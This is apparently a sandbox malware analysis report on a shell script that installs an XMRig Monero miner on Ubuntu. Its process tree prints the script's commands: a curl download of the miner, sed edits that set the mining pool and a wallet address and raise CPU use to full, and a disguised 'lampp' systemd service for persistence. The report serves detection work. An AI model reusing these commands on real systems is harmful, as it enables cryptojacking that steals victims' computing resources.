Analysis

  • max time kernel
    3s
  • max time network
    1020s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 11:23

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1593
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1596
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1597
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1600
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1601
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1621
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1622
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1623
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1623
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1623
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1623
                    • /usr/bin/rm
                      2⤵
                        PID:1624
                      • /usr/bin/sed
                        2⤵
                        • Reads runtime system information
                        PID:1625
                      • /root/lampp/xmrig
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:1626
                      • /usr/bin/sed
                        2⤵
                        • Reads runtime system information
                        PID:1631
                      • /usr/bin/cut
                        2⤵
                          PID:1630
                        • /usr/bin/hostname
                          2⤵
                            PID:1629
                          • /usr/bin/sed
                            sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                            2⤵
                            • Reads runtime system information
                            PID:1632
                          • /usr/bin/sed
                            sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                            2⤵
                              PID:1633
                            • /usr/bin/sed
                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-12\",/" /root/lampp/config.json
                              2⤵
                                PID:1634
                              • /usr/bin/sed
                                sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                2⤵
                                  PID:1635
                                • /usr/bin/sed
                                  sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:1636
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:1637
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1638
                                    • /usr/bin/cp
                                      cp /root/lampp/config.json /root/lampp/config_background.json
                                      2⤵
                                        PID:1639
                                      • /usr/bin/sed
                                        sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                        2⤵
                                          PID:1640
                                        • /usr/bin/cat
                                          cat
                                          2⤵
                                            PID:1641
                                          • /usr/bin/chmod
                                            chmod +x /root/lampp/miner.sh
                                            2⤵
                                              PID:1642
                                            • /usr/bin/sudo
                                              sudo -n true
                                              2⤵
                                                PID:1643
                                                • /usr/bin/true
                                                  true
                                                  3⤵
                                                    PID:1644
                                                • /usr/bin/awk
                                                  awk "{print \$2}"
                                                  2⤵
                                                    PID:1647
                                                  • /usr/bin/grep
                                                    grep MemTotal /proc/meminfo
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1646
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1648
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1649
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                        • Reads runtime system information
                                                        PID:1650
                                                    • /usr/bin/sudo
                                                      sudo killall xmrig
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1651
                                                      • /usr/bin/killall
                                                        killall xmrig
                                                        3⤵
                                                        • Reads runtime system information
                                                        PID:1652
                                                    • /usr/bin/sudo
                                                      sudo systemctl daemon-reload
                                                      2⤵
                                                        PID:1653
                                                        • /usr/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                            PID:1654
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                            PID:1688
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                                PID:1689
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                                PID:1725
                                                                • /usr/bin/systemctl
                                                                  systemctl start lampp.service
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1726

                                                            Network

                                                            MITRE ATT&CK Matrix ATT&CK v13

                                                            Defense Evasion

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            Discovery

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            System Information Discovery

                                                            3
                                                            T1082

                                                            Command and Control

                                                            Web Service

                                                            1
                                                            T1102

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /root/lampp/config.json
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              f3294129e6b76283965ad86a815bf383

                                                              SHA1

                                                              5fe0ab538f86962efe82cb13fc2da745610740af

                                                              SHA256

                                                              578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                              SHA512

                                                              07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                            • /root/lampp/miner.sh
                                                              Filesize

                                                              253B

                                                              MD5

                                                              f96a321a262287ceae164f23f232ed9c

                                                              SHA1

                                                              d1eeab41f244b42377afd7cc3de7428736162b24

                                                              SHA256

                                                              f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                              SHA512

                                                              75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                            • /root/lampp/sedGPS6K9
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d489ddbbb83271e967b8af615d17d3c7

                                                              SHA1

                                                              f0394a367a60e9727269882154098dec802774ef

                                                              SHA256

                                                              5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                              SHA512

                                                              aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                            • /root/lampp/sedTSp6kB
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              28ce77ea99be2c98a0d6734b9a5750ef

                                                              SHA1

                                                              5ba3e60c5b1805e2bda350fe1bcbd0d6683b7e11

                                                              SHA256

                                                              56c9a4c9192888f94e882b8b9d4014e6eb6f5cacde8dea8aae6f75168ca48f3e

                                                              SHA512

                                                              a201e60b5bc56f66e87d1e85f59d9f96140956c3f413ac6b388a141c8ce3cbacab5a63e92429e84175de057bda44bba9b640f93996ea68ed81be517e5636c6a9

                                                            • /root/lampp/sedXjdIwm
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8fc1faa7180a7b051c4201af2e799eb6

                                                              SHA1

                                                              6e35240745f9dfe1836e920d491b4bfa5bafe291

                                                              SHA256

                                                              0bd2afd29e56db782e6346de6b59e61578a176f773224ae55769fc6fc375a738

                                                              SHA512

                                                              3424b0657ca326b5ded7f3f6bf5d5b16f16c0c9d22e47f5cc70f80559b3d6ee9e48b775a1e5a216ac8196f52053b45e2ab2ff340768a40de66f1da9c9f618542

                                                            • /root/lampp/sedacZv5V
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              a5112b35ec9b01b593070480485332ff

                                                              SHA1

                                                              4369b8575dc07b98883bccdd83fc1a6b2d931a27

                                                              SHA256

                                                              79136d0465ae4372f8a7b0e53cb47b2d7d2138ab20063fca416883cc44593271

                                                              SHA512

                                                              c5168069dc657f58fd9f384b86d8a2cc090b9e85486e02ae871fcc11572de689b3bacc778b3f8250c1ae77cab4a2fa721ff3f91f960021634d08076674597431

                                                            • /root/lampp/sedmfSFiE
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8b11b027dd187104473ee7d661ffe25f

                                                              SHA1

                                                              ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                              SHA256

                                                              984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                              SHA512

                                                              1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                            • /root/lampp/sedvwWpum
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8e81a48d4e6c00a4a903a35762604c01

                                                              SHA1

                                                              12c4a7ea51d571e7bca951ebe730f3452f33b8e1

                                                              SHA256

                                                              d2396e96b0ce1315d39f3b1c16fd603fadd8dbd0c62d8d835cc8457321efee1c

                                                              SHA512

                                                              99ea978a9d16ea446c43d42c8737c8bd5c242926a22517d087a59eeb389ab134026b79c672287c146d5a6188bd0fa435e2fc475f35bc9f668beceaee44faf85e

                                                            • /root/lampp/xmrig
                                                              Filesize

                                                              8.4MB

                                                              MD5

                                                              e7a846de29b5f6125aa60678c7ad18c3

                                                              SHA1

                                                              014c7590a0a3a32ef43907255448c083bf59b6c0

                                                              SHA256

                                                              3deb669ea5d5934da1e2936b998b72f75110fc30c6fa613a69db96b3b17d2206

                                                              SHA512

                                                              4551ee844f7a219b53c8fdf7db677f0b86b17b1d2e98de44eb0b9566186a43354b8c6f3716911e4c145c78bdd86abe15acb139d70234bc6217e6ec6b342a9845

                                                            • /tmp/lampp.service
                                                              Filesize

                                                              177B

                                                              MD5

                                                              540c899b78585827e807a62f7345eaf5

                                                              SHA1

                                                              8bf3146889c6b15811f226bff9fbca24d184eff2

                                                              SHA256

                                                              b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                              SHA512

                                                              0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                            • /tmp/xmrig.tar.gz
                                                              Filesize

                                                              3.4MB

                                                              MD5

                                                              e003a3ec8bdd61151a61cadf950502c4

                                                              SHA1

                                                              2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                              SHA256

                                                              80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                              SHA512

                                                              ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9